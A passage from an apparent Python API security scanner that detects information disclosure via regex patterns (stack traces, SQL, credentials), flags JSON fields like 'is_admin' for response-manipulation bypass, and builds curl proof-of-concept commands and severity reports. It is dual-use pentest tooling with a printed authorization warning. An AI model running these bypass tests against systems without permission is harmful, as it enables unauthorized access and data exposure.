                        (r'File\s+"([^"]+\.py)"\,?\s+line\s+\d+', 'Python Stack Trace'),
                        (r'(Microsoft\.[\w\.]+Exception)', '.NET Exception'),
                        (r'(System\.[\w\.]+Exception)', '.NET System Exception'),
                        (r'(\/home\/[\w\/]+\.[\w]+|\/var\/www\/[\w\/]+\.[\w]+|C:\\[\w\\]+\.[\w]+)', 'File Path Disclosure'),
                        (r'(SELECT\s+\*?\s*FROM\s+[\w\.]+|INSERT\s+INTO\s+[\w\.]+|UPDATE\s+[\w\.]+\s+SET|DELETE\s+FROM\s+[\w\.]+)', 'SQL Query Disclosure'),
                        (r'(mysql_fetch_|mysqli_|pg_query|oci_parse)\s*\(', 'Database Function'),
                        (r'(root|admin|password|pwd)\s*[:=]\s*["\']?([a-zA-Z0-9!@#$%^&*()_+\-=\[\]{};:,.<>?]{8,})["\']?(?!\w)', 'Credential Disclosure'),
                        (r'(MongoDB|Redis|PostgreSQL|MySQL|Oracle|MSSQL)\s+(error|Error|ERROR)', 'Database Error'),
                        (r'"stack":\s*"[^"]+Error[^"]+"', 'JSON Stack Trace'),
                        (r'Traceback\s+\(most\s+recent\s+call\s+last\)', 'Python Traceback'),
                        (r'Warning:\s+[\w_]+\(\)\s+\[[\w\.]+\]:', 'PHP Warning'),
                        (r'Fatal error:\s+[\w\s]+in\s+[\w\/\.]+\s+on\s+line\s+\d+', 'PHP Fatal Error')
                    ]

                    for pattern, disclosure_type in critical_patterns:
                        match = re.search(pattern, content, re.IGNORECASE | re.MULTILINE)
                        if match:
                            # For SQL queries, ensure it's a real query not just words
                            if disclosure_type == 'SQL Query Disclosure':
                                query_text = match.group(0)
                                # Must have actual SQL structure, not just keywords
                                if not any(sql_struct in query_text.upper() for sql_struct in ['SELECT', 'FROM', 'INSERT INTO', 'UPDATE', 'DELETE FROM']):
                                    continue

                            # For file paths, ensure it's an actual file path
                            if disclosure_type == 'File Path Disclosure':
                                path_text = match.group(1)
                                # Must have file extension or be clearly a path
                                file_extensions = r'\.(php|py|java|cs|rb|js)$'
                                if not (re.search(file_extensions, path_text) or '/' in path_text or '\\' in path_text):
                                    continue

                            # For credential disclosure, do extra validation
                            if disclosure_type == 'Credential Disclosure':
                                # Skip if it's part of JavaScript code
                                match_text = match.group(0)
                                if any(js_term in match_text for js_term in ['shadowRoot', 'formToroRoot', 'documentRoot', 'querySelector']):
                                    continue
                                # Check if there's an actual value after the =
                                if match.lastindex >= 2:
                                    cred_value = match.group(2)
                                    if len(cred_value) < 6 or cred_value in ['true', 'false', 'null', 'undefined', 'this', 'self']:
                                        continue

                            # Extract relevant error context
                            error_context = content[max(0, match.start()-100):min(len(content), match.end()+100)]

                            return {
                                'vulnerable': True,
                                'method': f'Information Disclosure - {disclosure_type}',
                                'details': f'Error message reveals sensitive information: {disclosure_type}',
                                'exploitation': 'Craft malformed requests to extract system information',
                                'poc': self._generate_error_poc(url, trigger, method),
                                'error_sample': error_context,
                                'severity': 'HIGH' if 'Stack Trace' in disclosure_type or 'SQL' in disclosure_type else 'MEDIUM'
                            }

            return {'vulnerable': False}

        except Exception as e:
            return {'vulnerable': False, 'error': str(e)}

    def _generate_error_poc(self, url: str, trigger: dict, method: str) -> str:
        """Generate POC command for error triggering"""
        if method == 'POST':
            data = trigger.get('data', '')
            headers = trigger.get('headers', {})
            header_str = ' '.join([f'-H "{k}: {v}"' for k, v in headers.items()])
            return f'curl -X POST "{url}" -d \'{data}\' {header_str}'
        else:
            params = trigger.get('params', {})
            param_str = '&'.join([f'{k}={v}' for k, v in params.items()])
            return f'curl -X GET "{url}?{param_str}"'

    def test_json_manipulation(self, url: str, original_response: requests.Response) -> Dict:
        """Test JSON response manipulation bypass"""
        try:
            if original_response.status_code != 200:
                return {'vulnerable': False}

            try:
                data = original_response.json()
            except:
                return {'vulnerable': False}

            # Look for authentication/authorization fields
            bypass_found = False
            potential_bypasses = []

            for key, value in self.flatten_dict(data).items():
                # Check for auth-related fields with negative values
                if any(indicator in key.lower() for indicator in self.bypass_indicators):
                    if value is False or str(value).lower() in ['false', '0', 'no', 'disabled', 'expired', 'unauthorized']:
                        bypass_found = True
                        potential_bypasses.append({
                            'field': key,
                            'current_value': value,
                            'suggested_value': self.get_bypass_value(key, value),
                            'impact': self.assess_bypass_impact(key)
                        })

            # Only report if we found high-impact bypasses
            high_impact_bypasses = [b for b in potential_bypasses if b['impact'] == 'HIGH']

            if high_impact_bypasses:
                return {
                    'vulnerable': True,
                    'method': 'JSON Response Manipulation - Authentication Bypass',
                    'details': f'Found {len(high_impact_bypasses)} high-impact bypass opportunities',
                    'bypass_opportunities': high_impact_bypasses[:3],  # Limit to top 3
                    'exploitation': 'Intercept response and modify authentication fields',
                    'poc': f'curl -X GET "{url}" # Intercept with Burp Suite and modify response',
                    'response_sample': json.dumps(data, indent=2)[:300] + '...' if len(json.dumps(data)) > 300 else json.dumps(data, indent=2)
                }

            return {'vulnerable': False}

        except Exception as e:
            return {'vulnerable': False, 'error': str(e)}

    def assess_bypass_impact(self, field_name: str) -> str:
        """Assess the impact of bypassing a specific field"""
        field_lower = field_name.lower()

        high_impact_keywords = [
            'authenticated', 'authorized', 'logged_in', 'isadmin', 'is_admin',
            'admin', 'root', 'superuser', 'premium', 'paid', 'licensed'
        ]

        medium_impact_keywords = [
            'enabled', 'active', 'valid', 'verified', 'confirmed'
        ]

        if any(keyword in field_lower for keyword in high_impact_keywords):
            return 'HIGH'
        elif any(keyword in field_lower for keyword in medium_impact_keywords):
            return 'MEDIUM'
        else:
            return 'LOW'

    def get_bypass_value(self, key: str, current_value) -> str:
        """Suggest appropriate bypass value based on the field name and current value"""
        key_lower = key.lower()

        if any(word in key_lower for word in ['expired', 'disabled', 'restricted']):
            return 'false' if current_value else 'true'
        elif 'level' in key_lower or 'role' in key_lower:
            return 'admin' if isinstance(current_value, str) else '999'
        else:
            return 'true' if current_value is False else 'false'

    def check_for_auth_errors(self, data: dict) -> bool:
        """Check if response contains authentication/authorization errors"""
        error_indicators = [
            'unauthorized', 'forbidden', 'access_denied', 'insufficient_privileges',
            'login_required', 'authentication_required', 'invalid_token',
            'permission_denied', 'not_authorized', 'access_forbidden'
        ]

        # Convert entire response to lowercase string for searching
        response_str = json.dumps(data).lower()
        return any(indicator in response_str for indicator in error_indicators)

    def flatten_dict(self, d: dict, parent_key: str = '', sep: str = '.') -> dict:
        """Flatten nested dictionary for easier searching"""
        items = []
        for k, v in d.items():
            new_key = f"{parent_key}{sep}{k}" if parent_key else k
            if isinstance(v, dict):
                items.extend(self.flatten_dict(v, new_key, sep=sep).items())
            else:
                items.append((new_key, v))
        return dict(items)

    def test_all_endpoints(self, urls: List[str]) -> List[Dict]:
        """Test all API endpoints concurrently for multiple bypass techniques"""
        logger.info(f"Testing {len(urls)} endpoints for authentication bypasses using 9 different techniques")

        results = []
        with ThreadPoolExecutor(max_workers=self.threads) as executor:
            future_to_url = {executor.submit(self.test_endpoint_bypass, url): url for url in urls}

            for future in as_completed(future_to_url):
                result = future.result()
                if result['vulnerable']:
                    # Handle multiple vulnerabilities per endpoint
                    if 'vulnerabilities' in result:
                        for vuln in result['vulnerabilities']:
                            vuln_result = {
                                'url': result['url'],
                                'vulnerable': True,
                                **vuln
                            }
                            self.vulnerable_endpoints.append(vuln_result)
                            logger.info(f"🚨 VULNERABLE: {result['url']} - {vuln.get('method', 'Unknown')}")
                    else:
                        self.vulnerable_endpoints.append(result)
                        logger.info(f"🚨 VULNERABLE: {result['url']} - {result.get('method', 'Unknown')}")
                results.append(result)

        return results

    def generate_report(self, results: List[Dict]) -> str:
        """Generate a detailed report of findings"""
        total_tested = len(results)
        vulnerable = len(self.vulnerable_endpoints)

        report = f"""
=== Enhanced API Security Test Results (v4) ===
Domain: {self.domain}
Total URLs discovered: {len(self.found_urls)}
API endpoints tested: {total_tested}
Vulnerable endpoints found: {vulnerable}

TESTS PERFORMED:
1. Response Manipulation (Boolean/Redirect Bypass)
2. Missing Authentication on Sensitive Endpoints
3. Insecure Direct Object Reference (IDOR)
4. Weak Session Token/Cookie Validation
5. Privilege Escalation via Parameter Tampering
6. HTTP Method Access Control Bypass
7. Information Disclosure (Exposed Secrets)
8. CORS Misconfiguration
9. Error Message Information Disclosure

"""

        if vulnerable > 0:
            # Sort vulnerabilities by severity
            critical_vulns = [v for v in self.vulnerable_endpoints if v.get('severity') == 'CRITICAL']
            high_vulns = [v for v in self.vulnerable_endpoints if v.get('severity') == 'HIGH']
            other_vulns = [v for v in self.vulnerable_endpoints if v.get('severity') not in ['CRITICAL', 'HIGH']]

            sorted_vulns = critical_vulns + high_vulns + other_vulns

            report += "=== VULNERABLE API ENDPOINTS ===\n"
            for vuln in sorted_vulns:
                severity = vuln.get('severity', 'MEDIUM')
                report += f"""
URL: {vuln['url']}
Severity: {severity}
Vulnerability: {vuln.get('method', 'Unknown')}
Details: {vuln.get('details', 'No additional details')}
Exploitation: {vuln.get('exploitation', 'Manual testing required')}

🔍 PROOF OF CONCEPT (POC):
{vuln.get('poc', 'Manual verification required')}
"""
                if 'response_sample' in vuln:
                    report += f"""
📄 Response Sample:
{vuln['response_sample']}
"""

                if 'bypass_opportunities' in vuln:
                    report += "\n🎯 Specific Bypass Opportunities:\n"
                    for bypass in vuln['bypass_opportunities']:
                        report += f"  - Change '{bypass['field']}' from '{bypass['current_value']}' to '{bypass['suggested_value']}' (Impact: {bypass.get('impact', 'Unknown')})\n"

                if 'secrets_found' in vuln:
                    report += f"\n🔑 Secrets Found: {', '.join(vuln['secrets_found'])}\n"

                if 'cors_header' in vuln:
                    report += f"\n🌐 CORS Header: {vuln['cors_header']}\n"

                if 'error_sample' in vuln:
                    report += f"\n⚠️  Error Sample:\n{vuln['error_sample']}\n"

                report += "\n" + "="*60 + "\n"

            report += f"""
=== SUMMARY BY VULNERABILITY TYPE ===
"""
            # Count vulnerabilities by type
            vuln_types = {}
            for vuln in self.vulnerable_endpoints:
                vuln_type = vuln.get('method', 'Unknown')
                vuln_types[vuln_type] = vuln_types.get(vuln_type, 0) + 1

            for vuln_type, count in sorted(vuln_types.items()):
                report += f"{vuln_type}: {count} endpoints\n"

            # Add severity summary
            report += f"""
=== SUMMARY BY SEVERITY ===
CRITICAL: {len(critical_vulns)} vulnerabilities
HIGH: {len(high_vulns)} vulnerabilities
MEDIUM/LOW: {len(other_vulns)} vulnerabilities
"""

        return report

    def run_full_scan(self) -> str:
        """Run the complete authentication bypass scan"""
        logger.info(f"Starting enhanced API security scan for {self.domain}")

        # Step 1: Discover URLs
        all_urls = self.run_urlfinder()
        if not all_urls:
            return "No URLs discovered. Check URLfinder installation and domain validity."

        self.found_urls = set(all_urls)

        # Step 2: Filter API endpoints
        api_urls = self.filter_api_endpoints(all_urls)
        if not api_urls:
            return "No API endpoints found in discovered URLs."

        # Step 3: Test for bypasses
        results = self.test_all_endpoints(api_urls)

        # Step 4: Generate report
        return self.generate_report(results)

def main():
    parser = argparse.ArgumentParser(description='Enhanced Authentication Bypass Tester v4')
    parser.add_argument('domain', help='Target domain to test')
    parser.add_argument('-t', '--threads', type=int, default=10, help='Number of threads (default: 10)')
    parser.add_argument('-o', '--output', help='Output file for results')
    parser.add_argument('--timeout', type=int, default=10, help='Request timeout in seconds (default: 10)')

    args = parser.parse_args()

    # Validate domain
    if not args.domain or '.' not in args.domain:
        logger.error("Please provide a valid domain")
        return

    # Warning message
    print("⚠️  WARNING: Only use this tool on domains you own or have explicit permission to test!")
    print("Unauthorized testing may be illegal and could result in serious consequences.")
    print("\n📌 Enhanced Version 4.0 - Further False Positive Reduction")
    print("   - Better HTML vs API response detection")
    print("   - Improved JavaScript code filtering")
    print("   - Skip logout endpoints")
    print("   - Enhanced credential validation\n")

    # Run the scan
    tester = AuthBypassTester(args.domain, threads=args.threads, timeout=args.timeout)
    report = tester.run_full_scan()

    # Output results
    print(report)

    if args.output:
        with open(args.output, 'w') as f:
            f.write(report)
        logger.info(f"Results saved to {args.output}")

if __name__ == "__main__":
    main()